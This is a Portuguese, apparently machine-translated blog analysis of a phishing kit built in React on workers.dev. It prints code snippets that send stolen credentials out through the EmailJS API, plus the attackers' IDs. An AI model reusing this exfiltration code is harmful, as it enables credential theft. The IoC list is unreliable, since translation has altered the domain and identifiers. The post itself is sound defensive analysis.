Na quarta-feira, uma mensagem de phishing chegou à caixa de entrada do nosso manipulador, contendo uma isca bastante típica de baixa qualidade, mas que acabou sendo bastante interessante no final. Isso ocorre porque a página da web de roubo de credenciais que acompanha foi construída dinamicamente usando React e usou um serviço de e-mail legítimo para coleta de credenciais.
Mas antes de entrarmos em detalhes, vamos dar uma rápida olhada na mensagem inicial. O e-mail fingia ser uma notificação sobre uma lista de arquivos compartilhados conosco através do serviço legítimo WeTransfer.
Mencionei que a isca usada na mensagem era de baixa qualidade porque, como você pode ver na imagem a seguir, os arquivos em questão foram supostamente enviados por alguém usando nosso próprio endereço de e-mail… O que provavelmente seria pelo menos um pouco suspeito para qualquer destinatário.
O corpo da mensagem incluía uma lista de arquivos que supostamente faziam parte da transferência – no total, a mensagem afirmava que 76 itens com tamanho combinado de 1.010 MB foram compartilhados conosco (ou com a vítima pretendida, para ser mais geral).
Mensagens desse tipo são bastante onipresentes e a única razão pela qual decidi dedicar algum tempo a esta foi o link que ela continha. Ele apontou para o seguinte URL:
hxxps(:)//crimson-pine-6e12(.)gstmfhxzvbxk(.)workers(.)dev/?%D0%BF%D1%80%D0%BE86%D0%B3%D1%80%D0%(email protected)()Dropbox%20Community
Incorporar o endereço de e-mail do destinatário na string de consulta é algo que vemos com bastante frequência em campanhas de phishing, mas o final da string de parâmetro com “()Dropbox Community” chamou minha atenção.
Outro pequeno detalhe que se destacou foi a parte codificada no início do parâmetro de consulta, que usava sequências de bytes UTF-8 codificadas por porcentagem que não correspondiam aos caracteres ASCII padrão.
%D0%BF%D1%80%D0%BE86%D0%B3%D1%80%D0%B0
Quando decodificados, os primeiros caracteres correspondem a letras cirílicas, especificamente:

Este parece ser um fragmento truncado da palavra russa para programa:

A razão para incluir este fragmento não é clara, mas fornece um indicador da linguagem que os autores do phishing podem ter falado (uma vez que não se esperaria quaisquer tentativas de bandeira falsa numa campanha genérica de phishing como esta).
Como você deve ter notado, o link usado na mensagem apontava para um domínio Cloudflare Workers (workers.dev), que, além de seu uso legítimo, tornou-se uma plataforma de hospedagem conveniente para infraestrutura maliciosa de curta duração nos últimos anos(1,2).
O link levava a uma página falsa do Dropbox Transfer, mostrando o que parecia ser um portal de download de arquivos com uma lista de documentos exibidos em um vídeo em loop.

A seleção de qualquer uma das opções de download resultou em um prompt de login solicitando o endereço de e-mail e a senha do usuário antes que o acesso aos arquivos fosse (supostamente) concedido.

Embora a interface do usuário em si fosse bastante típica de uma página de phishing, sua estrutura era um pouco mais interessante.
A inspeção do código-fonte da página revelou que o documento HTML estava quase vazio e consistia principalmente em um único elemento de espaço reservado junto com uma referência a um pacote JavaScript principal.90eaa1b0.js (os elementos ocultos adicionais não estavam relacionados à interface visível e provavelmente eram artefatos do kit de phishing ou simples tentativas de evitar a verificação automatizada).
...
Dropbx - Collaboration Document
Isso indicava que a página foi implementada como uma aplicação web de página única, onde a interface deveria ser renderizada dinamicamente no navegador. Essa abordagem é muito menos comum em kits de phishing do que em páginas HTML estáticas e pode complicar um pouco a análise se um analista confiar apenas no código-fonte da página de destino.
A abertura do pacote JavaScript referenciado confirmou a hipótese e mostrou que a página foi construída usando React(3), pois continha o tempo de execução do React junto com o código do aplicativo. Identificadores típicos de tempo de execução apareceram em todo o arquivo, como você pode ver na imagem a seguir.

Toda a interface de phishing foi, portanto, renderizada dinamicamente assim que o pacote JavaScript foi executado e anexado ao elemento HTML raiz.
A parte mais interessante do código apareceu na lógica responsável pelo envio do formulário de login. O pacote continha uma chamada para o serviço EmailJS(4), que permite que aplicativos da web enviem e-mails por meio de sua API diretamente do JavaScript do lado do cliente.
Os três fragmentos de código a seguir mostram a funcionalidade relevante:
- Código responsável por enviar uma solicitação POST para a API EmailJS
const D={origin:"https://api.emailjs.com", ...} H=async function(e,t){ ... const r=await fetch(D.origin+e,{method:"POST",headers:n,body:t}), ... }
- Definição de uma rotina que constrói o corpo da solicitação POST
X=async(e,t,n,r)=>{ const l=F(r), a=l.publicKey||D.publicKey, ... ... f.append("lib_version","4.4.1"), f.append("service_id",e), f.append("template_id",t), f.append("user_id",a), H("/api/v1.0/email/send-form",f) }
- Código que fornece parâmetros para a solicitação POST (strings dentro deste trecho são entradas EmailJS – “service_t8yu1k1” é um ID de serviço, “template_vszijae” é um ID de modelo e a constante “e” contém uma chave de API pública)
const e="Z2Y07-t9AET4hviRq"; if( X("service_t8yu1k1","template_vszijae",r.current,{publicKey:e}).then((()=>{console.log("a")}),(e=>{console.log("e")})), ... )
Usando este código, quaisquer credenciais inseridas pela vítima seriam coletadas e transmitidas por meio da API EmailJS.
Deve-se ainda mencionar que o código JS também consultou a API de informações IP do Geoapify(5) para coletar metadados geográficos sobre a vítima, que deveriam ser enviados aos invasores junto com as credenciais coletadas.
Após o envio do formulário, a página redirecionaria a vítima para o site legítimo (Dropbox), como é habitual em circunstâncias semelhantes.
Embora toda a campanha seja basicamente uma operação comum de coleta de credenciais, do ponto de vista técnico, o kit de phishing usado é bastante interessante. Tanto porque a implementação por meio de um aplicativo React agrupado em um único arquivo JavaScript pode ser potencialmente eficaz para evitar filtros de segurança simples em proxies da web que dependem apenas de análise HTML estática, mas também devido ao uso de um serviço legítimo de terceiros para exfiltração de credenciais em vez de uma infraestrutura controlada pelo invasor.
IoCs
Domínio de phishing:
carmesim-pine-6e12.gstmfhxzvbxk.workers.dev
Identificadores EmailJS:
serviço_t8yu1k1
template_vsziae
(1) https://developers.cloudflare.com/workers/
(2) https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing
(3) https://react.dev/
(4) https://www.emailjs.com/docs/
(5) https://www.geoapify.com/ip-geolocation-api/
———–
Jan Kopriva
LinkedIn
Consultoria Urtigas
Deseja saber mais sobre Golpes Online, Spam, Phishing e Cibersegurança Clique Aqui!
